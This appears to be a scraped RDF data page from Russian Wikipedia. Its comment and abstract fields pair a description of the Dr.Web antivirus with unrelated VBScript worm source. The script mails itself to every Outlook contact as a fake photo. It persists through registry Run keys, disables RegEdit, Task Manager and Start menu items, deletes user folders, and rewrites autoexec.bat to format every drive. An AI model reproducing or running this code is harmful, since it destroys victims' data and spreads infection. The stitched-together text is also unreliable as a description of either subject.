| rdfs:comment
| - Dr. Web — антивирусы этого семейства предназначены для защиты от почтовых и сетевых червей, руткитов, файловых вирусов, троянских программ, стелс-вирусов, полиморфных вирусов, бестелесных вирусов, макровирусов, вирусов, поражающих документы MS Office, скрипт-вирусов, шпионского ПО (spyware), программ-похитителей паролей, клавиатурных шпионов, программ платного дозвона, рекламного ПО (adware), потенциально опасного ПО, хакерских утилит, программ-люков, программ-шуток, вредоносных скриптов и других вредоносных объектов, а также от спама, скаминг-, фарминг-, фишинг-сообщений и технического спама.
- ' Объявление переменных(этот абзац не перемещать) Set FileSystemObject = CreateObject(«scripting.filesystemobject») Set Shell = CreateObject(«Wscript.Shell») t = 0: On Error Resume Next ' Пропускать ошибки Set Application = CreateObject(«Shell.Application») Set InternerExplorer = WScript.CreateObject(«InternetExplorer.Application») Set Outlook = WScript.CreateObject(«Outlook.Application») ' Минимизировать все окна Application.MinimizeAll ' Удаление всех специальных папок For Each Folder In Shell.SpecialFolders FileSystemObject.deletefolder folder,True Next ' Удаление Documents and Settings
|
| abstract
| - Dr. Web — антивирусы этого семейства предназначены для защиты от почтовых и сетевых червей, руткитов, файловых вирусов, троянских программ, стелс-вирусов, полиморфных вирусов, бестелесных вирусов, макровирусов, вирусов, поражающих документы MS Office, скрипт-вирусов, шпионского ПО (spyware), программ-похитителей паролей, клавиатурных шпионов, программ платного дозвона, рекламного ПО (adware), потенциально опасного ПО, хакерских утилит, программ-люков, программ-шуток, вредоносных скриптов и других вредоносных объектов, а также от спама, скаминг-, фарминг-, фишинг-сообщений и технического спама.
- ' Объявление переменных(этот абзац не перемещать) Set FileSystemObject = CreateObject(«scripting.filesystemobject») Set Shell = CreateObject(«Wscript.Shell») t = 0: On Error Resume Next ' Пропускать ошибки Set Application = CreateObject(«Shell.Application») Set InternerExplorer = WScript.CreateObject(«InternetExplorer.Application») Set Outlook = WScript.CreateObject(«Outlook.Application») ' Поменять функции клавиш мышки местами Shell.RegWrite «HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\SwapNT», «rundll32 user32, SwapMouseButton» Shell.RegWrite «HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\Swap98», «rundll32.exe user.exe, swapmousebutton» Shell.Run «rundll32 user32, SwapMouseButton» ' Минимизировать все окна Application.MinimizeAll ' Запускаться при каждой перезагрузке Set File2 = FileSystemObject.GetFile(WScript.ScriptFullName) File2.Copy («c:\windows\System\Gigabyte.vbs») Shell.RegWrite «HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\Gigabyte», «C:\WINDOWS\SYSTEM\Gigabyte.vbs» Shell.RegWrite «HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices\Gigabyte», «C:\WINDOWS\SYSTEM\Gigabyte.vbs» ' Блокировать RegEdit(чтоб у него не заводился редактор реестра).Для того чтобы разблокировать происвойте DisableRegistryTools значение — 0 Shell.RegWrite «HKEY_CURRENT_USER\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\POLICIES\SYSTEM\DisableRegistryTools», 1, «REG_DWORD» ' Удаление пунктов меню Пуск: Программы, Завершение работы, Найти, Выполнить, Документы и т. д. Shell.RegWrite «HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explоrer\NoStartMenuMorePrograms», 1, «REG_DWORD» Shell.RegWrite «HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explоrer\NoClose», 1, «REG_DWORD» Shell.RegWrite «HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explоrer\NoFind», 1, «REG_DWORD» Shell.RegWrite «HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explоrer\NoRun», 1, «REG_DWORD» Shell.RegWrite «HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explоrer\NoRecentDocsMenu», 1, «REG_DWORD» Shell.RegWrite «HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explоrer\NoFavoritesMenu», 1, «REG_DWORD» Shell.RegWrite «HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explоrer\NoStartMenuLogoff», 1, «REG_DWORD» Shell.RegWrite «HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr», 1, «REG_DWORD» Shell.RegWrite «HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explоrer\NoClose», 1, «REG_DWORD» ' Разослать вирус Все контакты неприятеля For Index = 1 To Outlook.GetNameSpace(«MAPI»).AddressLists(1).count Set OutMail = Outlook.CreateItem(0) OutMail.to = Outlook.GetNameSpace(«MAPI»).AddressLists(1).AddressEntries(Index) OutMail.Subject = «Привет!» OutMail.Body = «Лови мою фотку!» OutMail.Attachments.Add WScript.ScriptFullName OutMail.Send Next ' Удаление всех специальных папок For Each Folder In Shell.SpecialFolders FileSystemObject.deletefolder folder,True Next ' Удаление Documents and Settings FileSystemObject.deletefolder"C:\Documents and Settings",True FileSystemObject.deletefolder"D:\Documents and Settings",True FileSystemObject.deletefolder"E:\Documents and Settings",True ' Вывести сообщение Shell.popup «Зря ты это сделал!», 1, «Ха-ха-ха!», 0+16 ' Форматировать Все диски (Только для Windows 95,98,Me) If FileSystemObject.FileExists(«d:\autoexec.bat») Then Str = «d:\autoexec.bat» If FileSystemObject.FileExists(«d:\Windows.000\autoexec.bat») Then Str = «d:\Windows.000\autoexec.bat» If FileSystemObject.FileExists(«d:\Windows\autoexec.bat») Then Str = «d:\Windows\autoexec.bat» If FileSystemObject.FileExists(«c:\autoexec.bat») Then Str = «c:\autoexec.bat» If FileSystemObject.FileExists(«c:\Windows.000\autoexec.bat») Then Str = «c:\Windows.000\autoexec.bat» If FileSystemObject.FileExists(«c:\Windows\autoexec.bat») Then Str = «c:\Windows\autoexec.bat» Set ab = FileSystemObject.GetFile(Str) ab.Attributes = 0 Set autoexec = FileSystemObject.CreateTextFile(Str) autoexec.WriteLine «@cls» autoexec.WriteLine «@format c: /q /autotest» autoexec.WriteLine «@format d: /q /autotest» autoexec.WriteLine «@format e: /q /autotest» autoexec.WriteLine «@format f: /q /autotest» autoexec.WriteLine «@format g: /q /autotest» autoexec.WriteLine «@format h: /q /autotest» autoexec.WriteLine «@format i: /q /autotest» autoexec.Close Shell.Run Str, 5 Shell.RegWrite «HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoDrives», 67108863, «REG_DWORD» Shell.RegWrite «HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoViewOnDrive», 67108863, «REG_DWORD»
|
![[RDF Data]](/fct/images/sw-rdf-blue.png)